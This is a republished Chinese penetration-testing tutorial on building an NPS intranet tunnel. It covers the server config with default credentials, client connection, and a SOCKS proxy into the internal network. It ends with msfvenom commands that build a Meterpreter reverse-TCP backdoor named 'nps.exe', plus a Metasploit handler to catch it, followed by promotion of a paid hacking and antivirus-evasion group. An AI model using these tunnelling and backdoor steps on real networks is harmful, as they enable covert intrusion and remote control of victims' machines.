【干货】隧道搭建NPS配置和后门上线
2023-2-25 20:15:45 Author: 渗透安全团队(查看原文) 阅读量:12 收藏

目录

Nps(自定义上线)

1、简述:

2、工具的配置:

 1、准备:

2、服务端配置:

3、客户端配置

3、工具的使用:

1、web管理界面

2、客户端上线

 3、msf后门


Nps(自定义上线)

1、简述:

1)nps:是一款轻量级、高性能、功能强大的内网穿透代理服务器


2)功能:目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。


3)优点:与Frp类似,但是具有图形化管理界面,更方便配置


4)工具:

client代表客户端:放到内网主机

server代表服务端:放到公网服务器上

(根据内网主机下载)

 Releases · ehang-io/nps (github.com)https://github.com/ehang-io/nps/releases/

 注:

错误情况

需要登陆GitHub后,才能下载

如果下载过慢,使用加速器,然后上传到服务器

(有白嫖的加速器)

 



2、工具的配置:

 1、准备:

1)公网服务器

2)内网主机

3)工具下载

如果不知道自己虚拟机是何种框架

直接在虚拟机设置中查看CD/DVD名称(在名称未改情况下)

4)实验环境

内网Linux-amd-64

服务器centos7

(所以我服务器、客户端就都下的Linux-amd-64)

登陆GitHub+加速器

下载完成 

2、服务端配置:

1)上传服务端文件到服务器

我是解压之后上传的

选中文件,右键传输


2)安装Nps

进入到文件夹(使用Xshell

cd /linux_amd64_server

先给nps权限
sudo chmod 777 nps
(不然会报错:被拒绝)
./nps install     #linux
nps.exe install #windows

 


3)修改配置文件

conf--->nps.conf

vim nps.conf


修改的地方:

web的host、账号、密码和端口号

注意:

修改域名代理的端口,避免端口冲突

NPS的web页面默认端口8080,默认账号密码:admin/123

NPS的服务端和客户端进行连接的默认端口是8024(可修改,连接时使用修改后的端口)

NPS服务端开启的端口(即需要访问的VPS的端口)不在配置文件中,在web界面中进行配置

按i进行编辑
(Linux知识点)
appname = nps

#HTTP(S) proxy port, no startup if empty
http_proxy_ip=0.0.0.0
http_proxy_port=80 #域名代理http代理监听端口(修改端口,避免冲突)
https_proxy_port=443 #域名代理https代理监听端口(修改端口,避免冲突)
https_just_proxy=true
#default https certificate setting
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key

##bridge
bridge_type=tcp #客户端与服务端连接的协议
bridge_port=8024 #服务端客户端通信端口(即客户端访问服务端的端口)
bridge_ip=0.0.0.0

# Public password, which clients can use to connect to the server
public_vkey=123 #客户端以配置文件模式启动时的密钥,设置为空表示关闭客户端配置文件连接模式

#Traffic data persistence interval(minute)
#Ignorance means no persistence
#flow_store_interval=1

log_level=7 #日志输出级别
#log_path=nps.log

#Whether to restrict IP access, true or false or ignore
#ip_limit=true #是否限制ip访问,true或false或忽略

#p2p
#p2p_ip=127.0.0.1 #服务端IP,使用p2p模式必填
#p2p_port=6000 #p2p模式开启的udp端口

#web
web_host=a.o.com #需要修改,改为服务器ip
web_username=admin #web界面管理账号(可修改)
web_password=123 #web界面管理密码(可修改)
web_port = 8080 #web管理端口,访问该端口可以访问NPS后台(可修改)
web_ip=0.0.0.0
web_base_url= #web管理主路径,用于将web管理置于代理子路径后面
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps

#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test #web api密钥
auth_crypt_key =1234567812345678 #获取服务端authKey时的aes加密密钥,16位

#allow_ports=9001-9009,10001,11000-12000

#Web management multi-user login
allow_user_login=false
allow_user_register=false
allow_user_change_username=false

#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false

#cache
http_cache=false
http_cache_length=100

#get origin ip
http_add_origin_header=false

#pprof debug options
#pprof_ip=0.0.0.0 #debug pprof 服务端IP
#pprof_port=9999 #debug pprof 端口

#client disconnect timeout
disconnect_timeout=60 #客户端连接超时,单位5s,默认值60(5mins)


改完以后

Esc

再输入:wq+回车


4)启动Nps:

nps start


注意:

问题一:

当启动连接失败的时候

输入:
nps
(会有报错信息)

8024端口被使用了,换一个端口,再重载配置文件,再启动

重载配置文件
./nps reload

失败了


问题二:

在客户端发现连接不上,应该是防火墙问题了


5)后台管理界面可以启动

输入ip:port

3、客户端配置

1)下贼合适内网主机版本的

我直接复制、粘贴到内网主机了


2)端口是否能连接

Linux:./npc -server=ip:port -vkey=服务端的验证密钥
Windows:npc.exe -server=ip:port -vkey=服务端的验证密钥

客户端并还没有生成,这里测试端口是否能连接上

8024端口可以连通,没拒绝访问

注:客户端未生成,服务端的验证密钥也是没有的)

 拒绝就查看配置文件是否设置的一致,服务器端口是否打开


3)修改配置文件

如果修改过,主要是这3个修改



3、工具的使用:

1、web管理界面

1)登陆nps后台

账号密码admin/123

(如果修改了的,使用自己修改的登陆)

换为中文,嘿嘿嘿


2)新建一个客户端

会生成唯一验证密钥,通过密钥将NPS的服务端和客户端连接起来

得到ID、唯一验证密钥


3)新增SOCKS代理

填上id、端口

服务端端口8024不能填,因为8024是连接客户端与服务端

我们需要重新写一个端口,访问服务端的这个端口,从而访问到内网

2、客户端上线

1)连接服务端,上线

Linux:./npc -server=ip:port -vkey=后台服务端生成的验证密钥
Windows:npc.exe -server=ip:port -vkey=后台服务端生成的验证密钥

 再次查看服务端后台

已经上线了,实验基本上完成了

2)访问内网主机

使用浏览器设置代理,然后访问内网主机

 3、msf后门

生成后门:

msfvenom -p windows/meterpreter/reverse_tcp lhost=…… lport=3333 -f exe -o nps.exe
(注意是生成win、还是Linux的监听器)

注:lhos:服务器ip、lport:服务器端口)

监听后门:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
(注意是win、还是Linux的监听器)

注:这个监听端口lport,与本地转发端口一致)


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247498593&idx=1&sn=a0adde506f637bd6f825bb1e345e6ccd&chksm=c17606cef6018fd8a80e7598a4e6e6af156f5f58ab162e6b6d944be5c996acf172ed5a0b8494#rd
如有侵权请联系:admin#unsafe.sh